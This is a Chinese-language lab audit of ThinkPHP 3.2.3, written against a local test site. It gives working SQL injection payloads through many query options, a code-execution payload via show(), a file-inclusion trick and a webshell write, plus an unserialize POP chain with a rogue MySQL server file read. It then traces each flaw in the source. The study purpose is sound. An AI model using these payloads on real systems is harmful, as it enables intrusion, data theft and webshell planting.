源码地址:http://www.thinkphp.cn/download/610.html
环境搭建:phpstudy pro [apache + php7.3 + mysql5.7]
审计工具:PhpStorm
框架知识速解:https://www.cnblogs.com/kenshinobiy/p/9165662.html
下载完源码,将源码解压放至无中文的目录,使用phpstudy pro添加网站,选择网站目录至根目录
配置数据库文件,打开\ThinkPHP\Conf\convention.php
,填写自己相应的配置
开启debug 方便本地测试,配置在根目录index.php
然后创建一个user测试表,如下
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function select() {
$id = I('get.id');
$user = M('user');
$data = $user->find($id);
var_dump($data);
}
浏览器访问:
http://tp323.com/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -
把find改成select也是可以利用
$data = $user->select($id);
浏览器访问:
http://tp323.com/index.php/home/index/select?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- -
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function select() {
$map['id'] = $_GET['id'];
$user = M('use');
$data = $user->where($map)->find();
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/select?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test() {
$User = M('users');
$user['id'] = I('id');
$data['username'] = I('username');
$value = $User->where($user)->save($data);
var_dump($value);
}
payload:
http://tp323.com/index.php/home/index/test?id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,user(),0x7e),1))&username=aaaaa
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?id[table]=information_schema.tables where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- -
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?id[alias]= where updatexml(1,concat(0x7e,user(),0x7e),1)-- -
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
view-source:http://tp323.com/index.php/home/index/test3?id[field]=user()-- -
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?id[join][]= where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?id[group]=updatexml(1,concat(0x7e,user(),0x7e),1)
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?id[having]=updatexml(1,concat(0x7e,user(),0x7e),1)
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?id[order]=updatexml(1,concat(0x7e,user(),0x7e),1)
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?id[union][]=select user(),version(),database()
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?id[comment]=*/ where updatexml(1,concat(0x7e,user(),0x7e),1)-- -
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}
user需要先创建一个索引,如id
payload:
http://tp323.com/index.php/home/index/test3?id[force]=id ) where updatexml(1,concat(0x7e,user(),0x7e),1)-- -
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test3() {
$count = I('get.count');
$user = M('user');
$data = $user->count($count);
var_dump($data);
}
payload:
http://tp323.com/index.php/home/index/test3?count=id),user(
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function rcetest($n='word') {
$this->show('Hello '.$n);
}
payload:
http://tp323.com/index.php/home/index/rcetest?n=<?php system('whoami');?>
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function test2(){
$this->assign($_GET['name']);
$this->display();
}
新建html文件,命名为test2.html,在\Application\Home\View\
下创建index
目录,将文件放到该目录
在\Application\Runtime\Logs\Home
目录下,将今天的日志文件内容全部删除,方便测试
payload1:需要在burp中发送,因为在浏览中发送会被编码
http://tp323.com/index.php/home/index/test2?a=<?=phpinfo();?>
payload2:
http://tp323.com/index.php/home/index/test2?name[_filename]=./Application/Runtime/Logs/Home/22_05_31.log
如果没开启日志,或者是日志被一些语法破坏,其实包含其他也是可以的,比如图片马,比如我们可以上传图片马并且知道位置,可以如下利用
http://tp323.com/index.php/home/index/test2?name[_filename]=public/uploads/pinfo.png
所以只要能有一个可以包含进来的文件即可,或是当任意文件读取使用
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function rcetest() {
$name = $_GET['name'];
$from = $_GET['from'];
$this->assign($name,$from);
$this->display();
}
新建html文件,命名为rcetest.html,在\Application\Home\View\
下创建index
目录,将文件放到该目录
此利用条件需要修改配置文件,修改\ThinkPHP\Conf\convention.php
文件
将TMPL_ENGINE_TYPE
的值修改为php
payload:
http://tp323.com/index.php/home/index/rcetest?name=_content&from=<?php phpinfo();?>
先将php版本设置成php5,我这里设置成php5.6.9
打开文件/Application/Home/Controller/IndexController.class.php
,添加如下内容
public function un() {
unserialize(base64_decode($_GET['un']));
}
首先需要搭建恶意MySQL服务器
脚本地址:
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
然后根据设置好端口(请勿与其他服务冲突)与需要读取的文件,如我这里将端口设置为3307,读取的文件为:F:/MyApplication/phpstudy_pro/WWW/thinkphp323/ThinkPHP/Conf/convention.php,即数据库的配置文件
然后使用python2运行即可,那么实战怎么知道这个数据库文件位置呢,有一个条件就可以,就是thinkphp开启debug,我们只要让它报错就行了,比如 http://tp323.com/index.php/home/asdasdas
那么我们继续接着构造反序列化poc,hostname为构造的恶意ip地址,hostport为端口,其他可以不改
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;public function __construct(){
$this->img = new Memcache();
}
}
}namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;public function __construct(){
$this->handle = new Model();
}
}
}namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#",
"where" => "1=1"
);
}
}
}namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
生成的poc为
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiIzMzA3IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19
然后将生成的poc发送请求即可,回显是空白的
然后刚刚的python运行的文件有回显,就会获取到我们设置读取的文件
查看mysql.log就可以查看 convention.php 的内容了
然后再将刚刚的反序列化poc修改如下内容
protected $config = array(
"debug" => 1,
"database" => "sql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
最后注入结果如下
如果数据库开启了可写,那么也可以利用堆叠写入文件,将poc改为
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=2;select 0x3c3f70687020406576616c28245f504f53545b636d645d293f3e into outfile 'F:/MyApplication/phpstudy_pro/WWW/thinkphp323/shell.php'#",
"where" => "1=1"
);
}
即可成功写入
首先给I
方法设置断点
开始调试跟进,一直跟进,直接查看过滤的地方吧
显然没有很多函数都没有过滤,updatexml
也不例外,所以也可以直解使用union select
http://tp323.com/index.php/home/index/select?id[where]=0 union select user(),version(),database()-- -
接着看find
方法,设置断点
开始debug测试,请求
http://tp323.com/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -
F7步入跟进
显然我们传入的是数组,不满足这个if,所以直接到达获取主键的函数
获取到主键为id,紧接继续进行判断,由于$pk
不为数组,所以也跳过这个if
设置查询一条记录,然后使用_parseOptions
函数进行处理
这里有一个过滤方法,但是需要先满足if条件,这里并不满足,因为$options['where']
不是数组
里面有一个_parseType
方法使用intval
过滤了
所以可以直接看看最后的了,可以看到最后的sql语句
这里使用$map['id'] = $_GET['id'];
获取id是因为I
方法过滤了关键词exp
所以这里也直接查看find
方法,下断点
前面的差不多一样,直接跟进到_parseOptions
方法,判断是否是标量
标量变量是指那些包含了 integer、float、string 或 boolean 的变量,而 array、object 和 resource 则不是标量。这里的$val
为数组,所以也不会进入_parseType
方法
然后继续跟进到parseSql
方法
这里只有where,所以继续跟进
然后一些不必要的直接略过,跟到parseWhereItem
方法,可以看到直接是拼接返回
所以这里不在进行一些不重要的调试了,直接看最后的sql语句
在save函数处打断点
传输过程也是跟前面分析的两条差不多,把值传输到 $this->options['where']
进入_parseType
方法验证类型
紧接着是_parseOptions
方法进行字段验证
因为是数组,所以不会进入_parseType
方法
继续跟进到update
方法
parseSet
方法 拼接了一个 =:
此时的 sql
然后继续跟进parseWhere
方法
然后进行 parseWhere
,然后再parseWhereItem
选择bind
拼接= :
此时的 sql
然后继续跟进到execute
,该方法有个关键的地方
strtr函数进行替换处理,就是将:0
替换为username
传入的值
最后就能成功执行该报错函数
前面的分析都差不多,这里直接跳到parseTable
方法
此时table不是数组类型而是string类型,所以直接看elseif,先将string以,
进行分割形成一个数组
这里正则返回1然后又非,所以不会进入该if,也就不会添加这个反引号
最后又把刚刚去掉的,
又组合起来了
所以最后的sql语句如下,从sql中可知,需要一个存在的表才能走到updatexml函数,否则先报错表不存在
前面的流程差不多,直接看到拼接位置,可以看到是直接将表名与传入的值直接拼接
这里也是满足正则,不会添加反引号
最后的sql语句
前面的都一样,所以直接来看parseField
方法
跟进,发现其实也没啥操作就是别名定义,但是key为0,所以也就没有拼接上AS
,最后返回原来的字符串
最后返回拼接的语句
直接看到parseJoin
方法,直接拼接
最后返回的sql语句
直接看到parseGroup
方法,也是判断完直接拼接
直接看到parseHaving
方法,也是判断完直接拼接
直接看到parseOrder
方法,也是直接拼接
直接看到parseUnion
方法, 依旧是直接拼接
直接看到parseComment
方法,因为是拼接的,所以前边加一个*/
闭合然后再构造sql语句
直接看到parseForce
方法,可以看到也是拼接起来用的
调试断点
跟进,这里会进行一下初始化,这里也没什么过滤,也是直接拼接罢了
所以由这里可得出这几个方法(sum、min、max、avg)其实都存在一样的问题
这里可以先不用debug,直接追踪show
方法看看都执行了什么操作
跟进display()
跟进fetch ()
当开启PHP原生模板时:命令执行模块中的内容
当没使用PHP原生模板时:进入exec
方法
这里执行的是else,所以直接去看看exec
方法
继续跟进run
方法,有个load
方法
跟进load
,最后是直接包含这个$_filename
缓存文件 ,形成文件包含
缓存文件内容如下
前面的分析跟show一样,直接看到,变量覆盖位置
跟进display()
方法
继续跟进display
跟进fetch
在这里就可以看到刚刚为什么需要修改的配置文件,因为只有满足if了才能进入extract
debug调试
既然是反序列化那就先从魔术方法__destruct
开始找
全局搜索 function __destruct(
像这种没有可控参数的,就比较难利用 ,所以只能继续找
在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
文件中,可以看到有可控变量(img)的方法
如果我们对 img 变量赋值一个对象,就会调用 destroy() 方法,而PHP7中,如果无参调用一个含参方法,ThinkPHP会报错,在PHP5中不会报错,所以这就是刚刚我们需要先将PHP版本设置为5的原因
接着就全局搜索 function destroy
方法看看是否可以利用
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
有两个目前可控的参数(handle与sessionName)
所以继续全局搜索function delete
方法,但是发现传入的参数大多数都是array形式
而即使将sessionName
设置为数组$this->sessionName.$sessID
的结果是 string 'Array'
<?php
$a = array("spaceman" => "fw");
$b = $a."";
var_dump($a);
var_dump($b);
var_dump(is_array($b));
?>
输出结果:
array (size=1)
'spaceman' => string 'fw' (length=2)string 'Array' (length=5)
false
所以这里sessionName
就不可控了
但是我们可以在ThinkPHP/Library/Think/Model.class.php
文件中发现可控参数$pk
有了这个可控的参数,我们就可以控制$options
了,因为满足if条件后又会再调用一下本身,而$data
也是可控的,所以现在就是 $pk、$data、$options都可控了
继续往下分析,这里要跳过if的话就需要设置$options['where'] => 1=1
然后接着就是db的delete了
跟进ThinkPHP\Library\Think\Db\Driver.class.php
的delete方法,因为$options
是可控的,所以$options['table']
也就可控
中间的操作没什么过滤,所以直接看最后的execute
方法,从名字中就知道是执行sql语句,但是这里有个初始化数据库的方法initConnect
跟进initConnect
方法,一般是默认单数据库,所以选择else语句
根据connect
方法,这是连接数据库方法,所以只需要我们设置可控参数$config
即可连接任意数据库
所以理清思路,将链子连起来
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php::__destruct()
–>
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php::destory()
–>
ThinkPHP/Library/Think/Model.class.php::delete()
–>
ThinkPHP/Library/Think/Db/Driver.class.php::delete()
最后就可以构造poc了
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "sql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;public function __construct(){
$this->img = new Memcache();
}
}
}namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;public function __construct(){
$this->handle = new Model();
}
}
}namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#",
"where" => "1=1"
);
}
}
}namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}